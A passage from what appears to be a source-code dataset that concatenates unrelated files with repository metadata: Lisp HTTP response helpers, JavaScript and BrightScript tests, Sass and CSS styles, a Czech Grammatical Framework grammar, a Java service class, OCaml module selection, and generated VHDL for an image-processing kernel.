"This hould be a docstring"
`(
200
,(merge-plist '(:content-type "text/html; charset=utf-8" :server "Woo") headers)
(,response)
))
(defun json-response* (response &optional headers)
"This hould be a docstring"
`(
200
,(merge-plist '(:content-type "application/json; charset=utf-8" :server "Woo") headers)
(,response)
))
(defun plain-response* (response &optional headers)
"This hould be a docstring"
`(
200
,(merge-plist '(:content-type "text/plain; charset=utf-8" :server "Woo") headers)
(,response)
))
| Common Lisp | 4 | xsoheilalizadeh/FrameworkBenchmarks | frameworks/Lisp/ninglex/helpers/response.lisp | [
"BSD-3-Clause"
] |
it("should not lazily compile to import() when not configured", done => {
let resolved;
const promise = import("./module").then(r => (resolved = r));
expect(resolved).toBe(undefined);
setTimeout(() => {
expect(resolved).toHaveProperty("default", 42);
done();
}, 1000);
});
| JavaScript | 3 | fourstash/webpack | test/hotCases/lazy-compilation/only-entries/index.js | [
"MIT"
] |
@import base
.root
max-width: 100%
min-height: 100vh
@include breakpoint(min, md)
.root
padding: var(--height-nav) 0 0 0
.with-sidebar
margin-left: var(--width-sidebar)
.with-asides
margin-right: var(--width-aside)
position: relative
.asides
position: absolute
top: 0
left: 100%
width: var(--width-aside)
height: 100%
content: ""
display: block
background-color: var(--color-theme)
background-repeat: repeat
background-position: center top
z-index: -1
min-height: 100vh
.content
padding: 3rem 7.5rem
margin: 0 auto
width: var(--width-content)
max-width: 100%
@include breakpoint(max, sm)
.content
padding: 3rem
| Sass | 4 | snosrap/spaCy | website/src/styles/main.module.sass | [
"MIT"
] |
sub Main()
mockFunctionsHelper()
_brs_.resetMockFunction("fooBar")
print fooBar() ' => "foo bar"
print barBaz() ' => "fake barBaz"
end sub
| Brightscript | 3 | lkipke/brs | test/e2e/resources/components/mocks/reset/resetMockFunction.brs | [
"MIT"
] |
-- (c) 2011 Katerina Bohmova under LGPL
concrete FoodsCze of Foods = open ResCze in {
flags
coding = utf8 ;
lincat
Comment = {s : Str} ;
Quality = Adjective ;
Kind = Noun ;
Item = NounPhrase ;
lin
Pred item quality =
{s = item.s ++ copula ! item.n ++
quality.s ! item.g ! item.n} ;
This = det Sg "tento" "tato" "toto" ;
That = det Sg "tamten" "tamta" "tamto" ;
These = det Pl "tyto" "tyto" "tato" ;
Those = det Pl "tamty" "tamty" "tamta" ;
Mod quality kind = {
s = \\n => quality.s ! kind.g ! n ++ kind.s ! n ;
g = kind.g
} ;
Wine = noun "víno" "vína" Neutr ;
Cheese = noun "sýr" "sýry" Masc ;
Fish = noun "ryba" "ryby" Fem ;
Pizza = noun "pizza" "pizzy" Fem ;
Very qual = {s = \\g,n => "velmi" ++ qual.s ! g ! n} ;
Fresh = regAdj "čerstv" ;
Warm = regAdj "tepl" ;
Italian = regAdj "italsk" ;
Expensive = regAdj "drah" ;
Delicious = regnfAdj "vynikající" ;
Boring = regAdj "nudn" ;
}
| Grammatical Framework | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Grammatical Framework/FoodsCze.gf | [
"MIT"
] |
.a.svelte-xyz~.b.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.c.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.d.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.e.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.f.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.g.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.a.svelte-xyz~.h.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.b.svelte-xyz~.d.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.c.svelte-xyz~.d.svelte-xyz.svelte-xyz.svelte-xyz{color:green}.b.svelte-xyz~.e.svelte-xyz~.f.svelte-xyz~.h.svelte-xyz{color:green}.b.svelte-xyz~.d.svelte-xyz~.h.svelte-xyz.svelte-xyz{color:green}.c.svelte-xyz~.g.svelte-xyz.svelte-xyz.svelte-xyz{color:green} | CSS | 0 | Theo-Steiner/svelte | test/css/samples/general-siblings-combinator-await-not-exhaustive/expected.css | [
"MIT"
] |
package mocks;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
public class ItemService {
private final ItemProvider itemProvider;
private final EventPublisher eventPublisher;
public ItemService(ItemProvider itemProvider, EventPublisher eventPublisher) {
this.itemProvider = itemProvider;
this.eventPublisher = eventPublisher;
}
List<Item> getAllItemsSortedByName(List<String> itemIds) {
List<Item> items;
try{
items = itemProvider.getItems(itemIds);
} catch (RuntimeException ex) {
throw new ExternalItemProviderException();
}
return items.stream()
.sorted(Comparator.comparing(Item::getName))
.collect(Collectors.toList());
}
void saveItems(List<String> itemIds) {
List<String> notEmptyOfferIds = itemIds.stream()
.filter(itemId -> !itemId.isEmpty())
.collect(Collectors.toList());
// save in database
notEmptyOfferIds.forEach(eventPublisher::publish);
}
}
| Java | 5 | DBatOWL/tutorials | testing-modules/groovy-spock/src/main/java/mocks/ItemService.java | [
"MIT"
] |
(*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
include
( val if Injector_config.use_test_stubbing then
(module TestDisk : Disk_sig.S)
else
(module RealDisk : Disk_sig.S)
)
| OCaml | 3 | zhangmaijun/flow | src/hack_forked/utils/disk/disk.ml | [
"MIT"
] |
-- ==============================================================
-- RTL generated by Vivado(TM) HLS - High-Level Synthesis from C, C++ and OpenCL
-- Version: 2020.2
-- Copyright (C) 1986-2020 Xilinx, Inc. All Rights Reserved.
--
-- ===========================================================
library IEEE;
use IEEE.std_logic_1164.all;
use IEEE.numeric_std.all;
entity g_kernel is
port (
ap_clk : IN STD_LOGIC;
ap_rst : IN STD_LOGIC;
imgblock_0_0_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_1_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_2_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_3_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_4_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_5_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_6_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_7_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_8_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_0_9_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_0_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_1_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_2_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_3_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_4_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_5_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_6_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_7_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_8_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_1_9_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_0_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_1_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_2_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_3_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_4_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_5_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_6_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_7_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_8_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_2_9_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_0_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_1_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_2_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_3_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_4_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_5_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_6_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_7_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_8_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_3_9_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_0_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_1_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_2_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_3_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_4_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_5_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_6_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_7_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_8_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
imgblock_4_9_V_read : IN STD_LOGIC_VECTOR (9 downto 0);
loop_r : IN STD_LOGIC_VECTOR (1 downto 0);
ap_return : OUT STD_LOGIC_VECTOR (13 downto 0);
ap_ce : IN STD_LOGIC );
end;
architecture behav of g_kernel is
constant ap_const_logic_1 : STD_LOGIC := '1';
constant ap_const_boolean_1 : BOOLEAN := true;
constant ap_const_boolean_0 : BOOLEAN := false;
constant ap_const_lv3_2 : STD_LOGIC_VECTOR (2 downto 0) := "010";
constant ap_const_lv1_1 : STD_LOGIC_VECTOR (0 downto 0) := "1";
constant ap_const_lv3_1 : STD_LOGIC_VECTOR (2 downto 0) := "001";
constant ap_const_lv3_3 : STD_LOGIC_VECTOR (2 downto 0) := "011";
constant ap_const_lv13_0 : STD_LOGIC_VECTOR (12 downto 0) := "0000000000000";
constant ap_const_lv1_0 : STD_LOGIC_VECTOR (0 downto 0) := "0";
constant ap_const_lv2_0 : STD_LOGIC_VECTOR (1 downto 0) := "00";
constant ap_const_lv32_E : STD_LOGIC_VECTOR (31 downto 0) := "00000000000000000000000000001110";
constant ap_const_lv15_0 : STD_LOGIC_VECTOR (14 downto 0) := "000000000000000";
constant ap_const_lv32_3 : STD_LOGIC_VECTOR (31 downto 0) := "00000000000000000000000000000011";
constant ap_const_lv14_0 : STD_LOGIC_VECTOR (13 downto 0) := "00000000000000";
constant ap_const_lv15_7FF9 : STD_LOGIC_VECTOR (14 downto 0) := "111111111111001";
constant ap_const_logic_0 : STD_LOGIC := '0';
signal ret_V_12_fu_618_p2 : STD_LOGIC_VECTOR (11 downto 0);
signal ret_V_12_reg_941 : STD_LOGIC_VECTOR (11 downto 0);
signal ap_block_state1_pp0_stage0_iter0 : BOOLEAN;
signal ap_block_state2_pp0_stage0_iter1 : BOOLEAN;
signal ap_block_state3_pp0_stage0_iter2 : BOOLEAN;
signal ap_block_pp0_stage0_11001 : BOOLEAN;
signal ret_V_15_fu_784_p2 : STD_LOGIC_VECTOR (11 downto 0);
signal ret_V_15_reg_946 : STD_LOGIC_VECTOR (11 downto 0);
signal tmp_72_fu_790_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal tmp_72_reg_951 : STD_LOGIC_VECTOR (9 downto 0);
signal res_fu_861_p2 : STD_LOGIC_VECTOR (14 downto 0);
signal res_reg_956 : STD_LOGIC_VECTOR (14 downto 0);
signal ap_block_pp0_stage0 : BOOLEAN;
signal zext_ln215_fu_452_p1 : STD_LOGIC_VECTOR (2 downto 0);
signal add_ln215_fu_456_p2 : STD_LOGIC_VECTOR (2 downto 0);
signal zext_ln215_39_fu_462_p1 : STD_LOGIC_VECTOR (3 downto 0);
signal tmp_s_fu_466_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal tmp_66_fu_496_p11 : STD_LOGIC_VECTOR (3 downto 0);
signal tmp_66_fu_496_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal lhs_V_fu_492_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal rhs_V_fu_522_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal ret_V_fu_526_p2 : STD_LOGIC_VECTOR (10 downto 0);
signal or_ln_fu_536_p3 : STD_LOGIC_VECTOR (2 downto 0);
signal tmp_67_fu_548_p11 : STD_LOGIC_VECTOR (3 downto 0);
signal tmp_67_fu_548_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal tmp_68_fu_578_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal zext_ln1353_35_fu_604_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal zext_ln215_44_fu_574_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal add_ln1353_fu_608_p2 : STD_LOGIC_VECTOR (10 downto 0);
signal lhs_V_10_fu_532_p1 : STD_LOGIC_VECTOR (11 downto 0);
signal zext_ln1353_36_fu_614_p1 : STD_LOGIC_VECTOR (11 downto 0);
signal tmp_fu_624_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal add_ln215_1_fu_654_p2 : STD_LOGIC_VECTOR (2 downto 0);
signal tmp_69_fu_664_p11 : STD_LOGIC_VECTOR (3 downto 0);
signal tmp_69_fu_664_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal lhs_V_11_fu_650_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal rhs_V_6_fu_690_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal ret_V_14_fu_694_p2 : STD_LOGIC_VECTOR (10 downto 0);
signal add_ln215_2_fu_704_p2 : STD_LOGIC_VECTOR (2 downto 0);
signal tmp_70_fu_714_p11 : STD_LOGIC_VECTOR (3 downto 0);
signal tmp_70_fu_714_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal tmp_71_fu_744_p12 : STD_LOGIC_VECTOR (9 downto 0);
signal zext_ln1353_37_fu_770_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal zext_ln215_50_fu_740_p1 : STD_LOGIC_VECTOR (10 downto 0);
signal add_ln1353_21_fu_774_p2 : STD_LOGIC_VECTOR (10 downto 0);
signal lhs_V_12_fu_700_p1 : STD_LOGIC_VECTOR (11 downto 0);
signal zext_ln1353_38_fu_780_p1 : STD_LOGIC_VECTOR (11 downto 0);
signal zext_ln1353_fu_816_p1 : STD_LOGIC_VECTOR (12 downto 0);
signal ret_V_13_fu_819_p2 : STD_LOGIC_VECTOR (12 downto 0);
signal shl_ln_fu_829_p3 : STD_LOGIC_VECTOR (12 downto 0);
signal shl_ln63_1_fu_840_p3 : STD_LOGIC_VECTOR (11 downto 0);
signal sext_ln1354_fu_825_p1 : STD_LOGIC_VECTOR (13 downto 0);
signal zext_ln63_fu_836_p1 : STD_LOGIC_VECTOR (13 downto 0);
signal add_ln63_fu_851_p2 : STD_LOGIC_VECTOR (13 downto 0);
signal zext_ln63_1_fu_847_p1 : STD_LOGIC_VECTOR (14 downto 0);
signal sext_ln63_fu_857_p1 : STD_LOGIC_VECTOR (14 downto 0);
signal sub_ln64_fu_874_p2 : STD_LOGIC_VECTOR (14 downto 0);
signal trunc_ln64_3_fu_879_p4 : STD_LOGIC_VECTOR (11 downto 0);
signal sext_ln64_fu_889_p1 : STD_LOGIC_VECTOR (12 downto 0);
signal zext_ln64_fu_893_p1 : STD_LOGIC_VECTOR (13 downto 0);
signal trunc_ln64_4_fu_903_p4 : STD_LOGIC_VECTOR (11 downto 0);
signal sext_ln64_1_fu_912_p1 : STD_LOGIC_VECTOR (12 downto 0);
signal tmp_142_fu_867_p3 : STD_LOGIC_VECTOR (0 downto 0);
signal sub_ln64_1_fu_897_p2 : STD_LOGIC_VECTOR (13 downto 0);
signal zext_ln64_1_fu_916_p1 : STD_LOGIC_VECTOR (13 downto 0);
signal icmp_ln65_fu_928_p2 : STD_LOGIC_VECTOR (0 downto 0);
signal select_ln64_fu_920_p3 : STD_LOGIC_VECTOR (13 downto 0);
signal imgblock_0_0_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_1_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_2_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_3_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_4_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_5_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_6_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_7_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_8_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_0_9_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_0_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_1_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_2_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_3_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_4_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_5_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_6_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_7_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_8_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_1_9_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_0_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_1_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_2_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_3_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_4_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_5_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_6_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_7_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_8_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_2_9_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_0_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_1_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_2_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_3_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_4_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_5_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_6_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_7_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_8_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_3_9_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_0_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_1_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_2_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_3_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_4_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_5_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_6_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_7_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_8_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal imgblock_4_9_V_read_int_reg : STD_LOGIC_VECTOR (9 downto 0);
signal loop_r_int_reg : STD_LOGIC_VECTOR (1 downto 0);
component ISPPipeline_accelkbM IS
generic (
ID : INTEGER;
NUM_STAGE : INTEGER;
din0_WIDTH : INTEGER;
din1_WIDTH : INTEGER;
din2_WIDTH : INTEGER;
din3_WIDTH : INTEGER;
din4_WIDTH : INTEGER;
din5_WIDTH : INTEGER;
din6_WIDTH : INTEGER;
din7_WIDTH : INTEGER;
din8_WIDTH : INTEGER;
din9_WIDTH : INTEGER;
din10_WIDTH : INTEGER;
dout_WIDTH : INTEGER );
port (
din0 : IN STD_LOGIC_VECTOR (9 downto 0);
din1 : IN STD_LOGIC_VECTOR (9 downto 0);
din2 : IN STD_LOGIC_VECTOR (9 downto 0);
din3 : IN STD_LOGIC_VECTOR (9 downto 0);
din4 : IN STD_LOGIC_VECTOR (9 downto 0);
din5 : IN STD_LOGIC_VECTOR (9 downto 0);
din6 : IN STD_LOGIC_VECTOR (9 downto 0);
din7 : IN STD_LOGIC_VECTOR (9 downto 0);
din8 : IN STD_LOGIC_VECTOR (9 downto 0);
din9 : IN STD_LOGIC_VECTOR (9 downto 0);
din10 : IN STD_LOGIC_VECTOR (3 downto 0);
dout : OUT STD_LOGIC_VECTOR (9 downto 0) );
end component;
begin
ISPPipeline_accelkbM_U163 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_0_0_V_read_int_reg,
din1 => imgblock_0_1_V_read_int_reg,
din2 => imgblock_0_2_V_read_int_reg,
din3 => imgblock_0_3_V_read_int_reg,
din4 => imgblock_0_4_V_read_int_reg,
din5 => imgblock_0_5_V_read_int_reg,
din6 => imgblock_0_6_V_read_int_reg,
din7 => imgblock_0_7_V_read_int_reg,
din8 => imgblock_0_8_V_read_int_reg,
din9 => imgblock_0_9_V_read_int_reg,
din10 => zext_ln215_39_fu_462_p1,
dout => tmp_s_fu_466_p12);
ISPPipeline_accelkbM_U164 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_2_0_V_read_int_reg,
din1 => imgblock_2_1_V_read_int_reg,
din2 => imgblock_2_2_V_read_int_reg,
din3 => imgblock_2_3_V_read_int_reg,
din4 => imgblock_2_4_V_read_int_reg,
din5 => imgblock_2_5_V_read_int_reg,
din6 => imgblock_2_6_V_read_int_reg,
din7 => imgblock_2_7_V_read_int_reg,
din8 => imgblock_2_8_V_read_int_reg,
din9 => imgblock_2_9_V_read_int_reg,
din10 => tmp_66_fu_496_p11,
dout => tmp_66_fu_496_p12);
ISPPipeline_accelkbM_U165 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_2_0_V_read_int_reg,
din1 => imgblock_2_1_V_read_int_reg,
din2 => imgblock_2_2_V_read_int_reg,
din3 => imgblock_2_3_V_read_int_reg,
din4 => imgblock_2_4_V_read_int_reg,
din5 => imgblock_2_5_V_read_int_reg,
din6 => imgblock_2_6_V_read_int_reg,
din7 => imgblock_2_7_V_read_int_reg,
din8 => imgblock_2_8_V_read_int_reg,
din9 => imgblock_2_9_V_read_int_reg,
din10 => tmp_67_fu_548_p11,
dout => tmp_67_fu_548_p12);
ISPPipeline_accelkbM_U166 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_4_0_V_read_int_reg,
din1 => imgblock_4_1_V_read_int_reg,
din2 => imgblock_4_2_V_read_int_reg,
din3 => imgblock_4_3_V_read_int_reg,
din4 => imgblock_4_4_V_read_int_reg,
din5 => imgblock_4_5_V_read_int_reg,
din6 => imgblock_4_6_V_read_int_reg,
din7 => imgblock_4_7_V_read_int_reg,
din8 => imgblock_4_8_V_read_int_reg,
din9 => imgblock_4_9_V_read_int_reg,
din10 => zext_ln215_39_fu_462_p1,
dout => tmp_68_fu_578_p12);
ISPPipeline_accelkbM_U167 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_1_0_V_read_int_reg,
din1 => imgblock_1_1_V_read_int_reg,
din2 => imgblock_1_2_V_read_int_reg,
din3 => imgblock_1_3_V_read_int_reg,
din4 => imgblock_1_4_V_read_int_reg,
din5 => imgblock_1_5_V_read_int_reg,
din6 => imgblock_1_6_V_read_int_reg,
din7 => imgblock_1_7_V_read_int_reg,
din8 => imgblock_1_8_V_read_int_reg,
din9 => imgblock_1_9_V_read_int_reg,
din10 => zext_ln215_39_fu_462_p1,
dout => tmp_fu_624_p12);
ISPPipeline_accelkbM_U168 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_2_0_V_read_int_reg,
din1 => imgblock_2_1_V_read_int_reg,
din2 => imgblock_2_2_V_read_int_reg,
din3 => imgblock_2_3_V_read_int_reg,
din4 => imgblock_2_4_V_read_int_reg,
din5 => imgblock_2_5_V_read_int_reg,
din6 => imgblock_2_6_V_read_int_reg,
din7 => imgblock_2_7_V_read_int_reg,
din8 => imgblock_2_8_V_read_int_reg,
din9 => imgblock_2_9_V_read_int_reg,
din10 => tmp_69_fu_664_p11,
dout => tmp_69_fu_664_p12);
ISPPipeline_accelkbM_U169 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_2_0_V_read_int_reg,
din1 => imgblock_2_1_V_read_int_reg,
din2 => imgblock_2_2_V_read_int_reg,
din3 => imgblock_2_3_V_read_int_reg,
din4 => imgblock_2_4_V_read_int_reg,
din5 => imgblock_2_5_V_read_int_reg,
din6 => imgblock_2_6_V_read_int_reg,
din7 => imgblock_2_7_V_read_int_reg,
din8 => imgblock_2_8_V_read_int_reg,
din9 => imgblock_2_9_V_read_int_reg,
din10 => tmp_70_fu_714_p11,
dout => tmp_70_fu_714_p12);
ISPPipeline_accelkbM_U170 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_3_0_V_read_int_reg,
din1 => imgblock_3_1_V_read_int_reg,
din2 => imgblock_3_2_V_read_int_reg,
din3 => imgblock_3_3_V_read_int_reg,
din4 => imgblock_3_4_V_read_int_reg,
din5 => imgblock_3_5_V_read_int_reg,
din6 => imgblock_3_6_V_read_int_reg,
din7 => imgblock_3_7_V_read_int_reg,
din8 => imgblock_3_8_V_read_int_reg,
din9 => imgblock_3_9_V_read_int_reg,
din10 => zext_ln215_39_fu_462_p1,
dout => tmp_71_fu_744_p12);
ISPPipeline_accelkbM_U171 : component ISPPipeline_accelkbM
generic map (
ID => 1,
NUM_STAGE => 1,
din0_WIDTH => 10,
din1_WIDTH => 10,
din2_WIDTH => 10,
